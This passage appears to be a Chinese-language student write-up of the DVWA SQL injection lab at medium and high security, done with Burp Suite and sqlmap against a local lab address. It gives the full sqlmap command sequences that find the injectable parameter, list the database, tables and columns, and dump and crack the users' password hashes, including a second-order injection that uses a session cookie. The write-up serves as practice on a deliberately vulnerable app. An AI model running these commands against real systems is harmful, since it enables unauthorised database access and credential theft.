sql注入中级
发现是一个表单提交数据
点提交
改为2,再点提交
burp抓包
发现是以post的方式传递
这里尝试以两种方式解题
(1)-r “txt”的方式
python sqlmap.py -r ""C:\Users\fuqia\Desktop\1.txt"" -p id --batch
-p 指定参数为id --batch 表示全部使用默认选项
发现可以sql注入
python sqlmap.py -r ""C:\Users\fuqia\Desktop\1.txt"" --current-db -p id --batch
查询数据库名字
数据库名字为dvwa
python sqlmap.py -r ""C:\Users\fuqia\Desktop\1.txt"" -p id --batch -D dvwa
--tables
有两个数据表
python sqlmap.py -r ""C:\Users\fuqia\Desktop\1.txt"" -p id --batch -D dvwa -T users --columns
获取列名
python sqlmap.py -r ""C:\Users\fuqia\Desktop\1.txt"" -p id --batch -D dvwa -T users -C "user,password" --dump
获取user和password的数据
注意到sqlmap帮我们自动爆破了md5加密的数据
(2)-data “post”的方式
python sqlmap.py -u "http://10.198.168.174/DVWA-master/vulnerabilities/sqli/#" -data="id=1&Submit=Submit" -p id --batch --current-db
-data= 后面加上post的数据
后面步骤与前面一致
sql注入高级
点击
跳出来另一个表框
随便输一个1,发现有session
注意到提交出来的数据反而在第一个网站显示
抓包
这样就要联合查询了
sqlmap -u "[数据提交页面url]" --data "[request]" --second-u "[数据显示页面url]" --cookie="[站点cookie]"
python sqlmap.py -u "http://10.198.168.174/DVWA-master/vulnerabilities/sqli/" -data "id=2&Submit=Submit" -p id --second-u "10.198.168.174/DVWA-master/vulnerabilities/sqli/session-input.php#" --ba
tch --cookie "security=high; PHPSESSID=g2c8dvs0savirn1ro00p6orrjj" --current-db
得到结果
python sqlmap.py -u "http://10.198.168.174/DVWA-master/vulnerabilities/sqli/" -data "id=2&Submit=Submit" -p id --second-u "10.198.168.174/DVWA-master/vulnerabilities/sqli/session-input.php#" --ba
tch --cookie "security=high; PHPSESSID=g2c8dvs0savirn1ro00p6orrjj" -D dvwa --tables
后面操作流程与前面一致
总结:
1.-r “txt”和-data "POST"的方式都能对post的数据进行sql注入
2.-p 指定SQL注入参数
3.--batch表示全部默认
4.--cookie “cookie”加入cookie值
5.Python sqlmap.py -u "[数据提交页面url]" --data "[request]" --second-u "[数据显示页面url]" --cookie="[站点cookie]" 表示联合查询